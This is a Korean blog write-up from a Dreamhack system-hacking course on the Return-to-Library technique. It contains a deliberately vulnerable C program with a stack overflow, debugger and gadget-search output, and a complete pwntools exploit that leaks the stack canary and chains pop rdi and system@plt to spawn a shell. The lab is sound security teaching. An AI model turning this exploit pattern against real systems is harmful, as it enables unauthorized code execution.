[Dreamhack] Exploit Tech: Return to Library

Sisyphus·2022년 7월 18일
0

Dreamhack - System Hacking

목록 보기
20/49

Return To Library

버퍼 오버플로우 취약점으로 반환 주소를 덮을 때, NX 방어기법을 우회하기 위해 system이나 execve 같은 libc 함수들을 이용하는 공격 기법입니다.

실습 코드

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];
  
  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);
  
  // Add system function to plt's entry
  system("echo 'system@plt'");
  
  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);
  
  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  
  return 0;
}



분석

보호 기법

$ checksec rtl
[*] '/home/ion/dreamhack/Exploit_Tech_Return_to_Library/rtl'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Canary와 NX 보호 기법이 걸려있습니다. 그리고 최신 리눅스 커널이기 때문에 ASLR이 기본적으로 적용되어 있습니다.


코드 분석

system("echo 'system@plt'")로 인해 PLT에 system 함수가 추가되어 있습니다.


Return to PLT

PLT에는 함수의 주소를 구하고 실행하는 코드가 있기 때문에, 원하는 함수의 PLT 주소를 반환 주소에 넣으면 원하는 함수가 실행되게 할 수 있습니다.
PLT 주소는 ASLR 방어기법에는 영향을 받지 않고 PIE 방어기법에는 영향을 받습니다.

Return to PLT 기법을 적용해서 "/bin/sh"를 인자로 system의 PLT 값을 반환 주소에 넣으면 쉘을 띄울 수 있습니다.

read(0, buf, 0x100) 코드가 두 줄 있는데, 첫 번째 걸로는 카나리 릭을 두 번째 걸로는 버퍼 오버플로우를 할 수 있습니다.




익스플로잇 설계

1. 카나리 우회

buf 부터 Canary까지 거리는 56 Byte이기 때문에 'A' 57개를 넣어서 카나리의 NULL 바이트를 덮어버리면 카나리 값을 릭할 수 있습니다.


2. rdi 값을 "/bin/sh"의 주소로 설정 및 쉘 흭득

"/bin/sh"의 주소를 rdi에 넣어서 system("/bin/sh")를 호출하기 위해서는 리턴 가젯이 필요합니다.

리턴 가젯은 pop rdi; ret처럼 ret로 끝나는 어셈블리 코드 조각입니다.

pop rdi; ret를 이용하면 pop rdirdi"/bin/sh"의 주소로 설정하고, retsystem 함수를 호출할 수 있습니다.

pop rdi; ret  주소	<= ret
"/bin/sh"     주소	<= ret + 0x8
system@plt    주소	<= ret + 0x10



익스플로잇

카나리 우회

from pwn import *

p = process("./rtl")
e = ELF("./rtl")

#context.log_level = 'debug'

def slog(name, addr):
    return success(": ".join([name, hex(addr)]))


# [1] Leak canary
buf = b'A'*57
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b'\x00' + p.recvn(7))
slog("canary", canary)

$ python3 ex.py
[+] Starting local process './rtl': pid 2430
[*] '/home/ion/dreamhack/Exploit_Tech_Return_to_Library/rtl'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] canary: 0x73165ee71934d500
[*] Stopped process './rtl' (pid 2430)

리턴 가젯 찾기

$ ROPgadget --binary ./rtl --re "pop rdi"
Gadgets information
============================================================
0x0000000000400853 : pop rdi ; ret
$ ROPgadget --binary ./rtl --re "ret"
Gadgets information
============================================================
0x0000000000400596 : ret

pop rdi; ret : 0x0000000000400853
ret : 0x0000000000400596


익스플로잇

pop rdi; ret  주소	<= ret
"/bin/sh"     주소	<= ret + 0x8
system@plt    주소	<= ret + 0x10

다음과 같이 가젯을 구성하고 실행하면 system("/bin/sh")를 실행할 수 있습니다.

하지만 system 함수는 rip가 이동할 때, 스택이 16 단위로 정렬되어 있지 않으면 Segmentation Fault를 발생시키기 때문에, system 함수 전에 아무 의미 없는 가젯(no-op gadget)을 넣어줘야 합니다.


ret           주소	<= ret
pop rdi; ret  주소	<= ret + 0x8
"/bin/sh"     주소	<= ret + 0x10
system@plt    주소	<= ret + 0x18

그래서 위에 처럼 ret 가젯을 추가해서 가젯을 구성해줘야 합니다.


gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 3 results, display max 3 items:
 rtl : 0x400874 --> 0x68732f6e69622f ('/bin/sh')
 rtl : 0x600874 --> 0x68732f6e69622f ('/bin/sh')
libc : 0x7ffff7b95d88 --> 0x68732f6e69622f ('/bin/sh')

"/bin/sh" : 0x400874


gdb-peda$ plt
Breakpoint 2 at 0x4005c0 (__stack_chk_fail@plt)
Breakpoint 3 at 0x4005e0 (printf@plt)
Breakpoint 4 at 0x4005b0 (puts@plt)
Breakpoint 5 at 0x4005f0 (read@plt)
Breakpoint 6 at 0x400600 (setvbuf@plt)
Breakpoint 7 at 0x4005d0 (system@plt)

system@plt : 0x4005d0


익스플로잇 코드를 완성해보면

from pwn import *

p = process("./rtl")
e = ELF("./rtl")

#context.log_level = 'debug'

def slog(name, addr):
    return success(": ".join([name, hex(addr)]))


# [1] Leak canary
buf = b'A'*57
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b'\x00' + p.recvn(7))
slog("canary", canary)


# [2] Exploit
system_plt = e.plt["system"]
slog("system@plt", system_plt)
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400596

payload = b'A'*56 + p64(canary) + b'B'*8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)

pause()
p.sendafter("Buf: ", payload)

p.interactive()

실행해보면

$ python3 exploit.py
[+] Starting local process './rtl': pid 2494
[*] '/home/ion/dreamhack/Exploit_Tech_Return_to_Library/rtl'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] canary: 0xaff3a407e368f100
[+] system@plt: 0x4005d0
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ ls
exploit.py  peda-session-rtl.txt  rtl  rtl.c

쉘이 뜹니다.



Exploit Tech: Return to Library

0개의 댓글